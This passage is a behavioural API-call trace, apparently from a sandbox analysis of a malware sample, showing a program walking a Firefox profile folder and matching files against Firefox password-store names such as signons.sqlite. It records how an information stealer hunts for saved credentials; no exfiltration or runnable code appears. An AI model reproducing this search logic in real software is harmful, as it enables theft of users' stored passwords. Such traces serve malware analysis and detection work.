(uFlags=0x40, uBytes=0xdc) returned 0x641518 [0071.072] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0071.072] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*" [0071.072] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*", lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0x642768 [0071.072] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.072] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0071.072] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.072] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.072] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0 [0071.072] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.072] LocalFree (hMem=0x641518) returned 0x0 [0071.072] LocalFree (hMem=0x65b348) returned 0x0 [0071.072] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.072] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.072] lstrlenA (lpString="healthreport.sqlite") returned 19 [0071.072] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0071.073] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.073] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.073] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.073] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0071.073] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0071.073] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.073] lstrlenA (lpString="\\") returned 1 [0071.073] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.073] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.073] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.073] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.073] lstrlenA (lpString="indexedDB") returned 9 [0071.073] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0071.073] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.073] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0071.073] LocalFree (hMem=0x6275a8) returned 0x0 [0071.073] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0071.073] lstrlenA (lpString="\\*.*") returned 4 [0071.073] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x641518 [0071.073] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0071.073] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*" [0071.073] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*", lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0x642768 [0071.073] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.073] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0071.073] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.073] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.073] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0071.073] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0071.073] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0071.073] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0071.073] lstrlenA (lpString="\\") returned 1 [0071.073] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x65b428 [0071.073] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0071.073] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0071.073] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned 85 [0071.073] lstrlenA (lpString="moz-safe-about+home") returned 19 [0071.073] LocalAlloc (uFlags=0x40, uBytes=0xe9) returned 0x65e448 [0071.073] lstrcpyA (in: lpString1=0x65e448, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0071.073] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0071.073] LocalFree (hMem=0x65b428) returned 0x0 [0071.073] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0071.073] lstrlenA (lpString="\\*.*") returned 4 [0071.073] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e638 [0071.073] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0071.073] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*" [0071.073] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0x12f60e | out: lpFindFileData=0x12f60e) returned 0x6427a8 [0071.074] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.074] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60e | out: lpFindFileData=0x12f60e) returned 1 [0071.074] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.074] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.074] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60e | out: lpFindFileData=0x12f60e) returned 1 [0071.074] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0071.074] lstrlenA (lpString=".metadata") returned 9 [0071.074] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0071.074] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0071.074] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0071.074] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60e | out: lpFindFileData=0x12f60e) returned 1 [0071.074] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0071.074] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0071.074] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0071.074] lstrlenA (lpString="\\") returned 1 [0071.074] LocalAlloc (uFlags=0x40, uBytes=0xea) returned 0x65e730 [0071.074] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0071.074] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0071.074] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned 105 [0071.074] lstrlenA (lpString="idb") returned 3 [0071.074] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e540 [0071.074] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0071.074] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0071.074] LocalFree (hMem=0x65e730) returned 0x0 [0071.074] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0071.074] lstrlenA (lpString="\\*.*") returned 4 [0071.074] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x626a88 [0071.074] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0071.074] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0071.074] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0x12f4a6 | out: lpFindFileData=0x12f4a6) returned 0x6427e8 [0071.074] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.075] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f4a6 | out: lpFindFileData=0x12f4a6) returned 1 [0071.075] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.075] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.075] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f4a6 | out: lpFindFileData=0x12f4a6) returned 1 [0071.075] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0071.075] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0071.075] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0071.075] lstrlenA (lpString="\\") returned 1 [0071.075] LocalAlloc (uFlags=0x40, uBytes=0xee) returned 0x65e730 [0071.075] lstrcpyA (in: lpString1=0x65e730, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0071.075] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0071.075] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 109 [0071.075] lstrlenA (lpString="818200132aebmoouht") returned 18 [0071.075] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x626b88 [0071.075] lstrcpyA (in: lpString1=0x626b88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0071.075] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0071.075] LocalFree (hMem=0x65e730) returned 0x0 [0071.075] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 127 [0071.075] lstrlenA (lpString="\\*.*") returned 4 [0071.075] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x601890 [0071.075] lstrcpyA (in: lpString1=0x601890, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0071.075] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0071.075] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0x12f33e | out: lpFindFileData=0x12f33e) returned 0x642828 [0071.075] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.075] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f33e | out: lpFindFileData=0x12f33e) returned 1 [0071.075] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.075] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.075] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f33e | out: lpFindFileData=0x12f33e) returned 0 [0071.075] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0071.075] LocalFree (hMem=0x601890) returned 0x0 [0071.075] LocalFree (hMem=0x626b88) returned 0x0 [0071.075] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f4a6 | out: lpFindFileData=0x12f4a6) returned 1 [0071.075] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.075] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0071.075] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0071.075] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.075] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.076] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f4a6 | out: lpFindFileData=0x12f4a6) returned 0 [0071.076] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0071.076] LocalFree (hMem=0x626a88) returned 0x0 [0071.076] LocalFree (hMem=0x65e540) returned 0x0 [0071.076] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60e | out: lpFindFileData=0x12f60e) returned 0 [0071.076] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0071.076] LocalFree (hMem=0x65e638) returned 0x0 [0071.076] LocalFree (hMem=0x65e448) returned 0x0 [0071.076] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0 [0071.077] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.077] LocalFree (hMem=0x641518) returned 0x0 [0071.077] LocalFree (hMem=0x65b348) returned 0x0 [0071.077] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.077] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0071.077] lstrlenA (lpString="key3.db") returned 7 [0071.077] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0071.077] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0071.077] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0071.077] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.077] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0071.077] lstrlenA (lpString="localstore.rdf") returned 14 [0071.077] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0071.077] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0071.077] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0071.077] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.077] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0071.077] lstrlenA (lpString="marionette.log") returned 14 [0071.077] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0071.077] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0071.077] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0071.077] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.077] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0071.077] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0071.077] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0071.077] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0071.077] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0071.077] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.077] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0071.077] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0071.077] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.077] lstrlenA (lpString="\\") returned 1 [0071.077] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.077] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.077] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.077] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.077] lstrlenA (lpString="minidumps") returned 9 [0071.077] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0071.077] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.077] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0071.077] LocalFree (hMem=0x6275a8) returned 0x0 [0071.077] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned 84 [0071.077] lstrlenA (lpString="\\*.*") returned 4 [0071.077] LocalAlloc (uFlags=0x40, 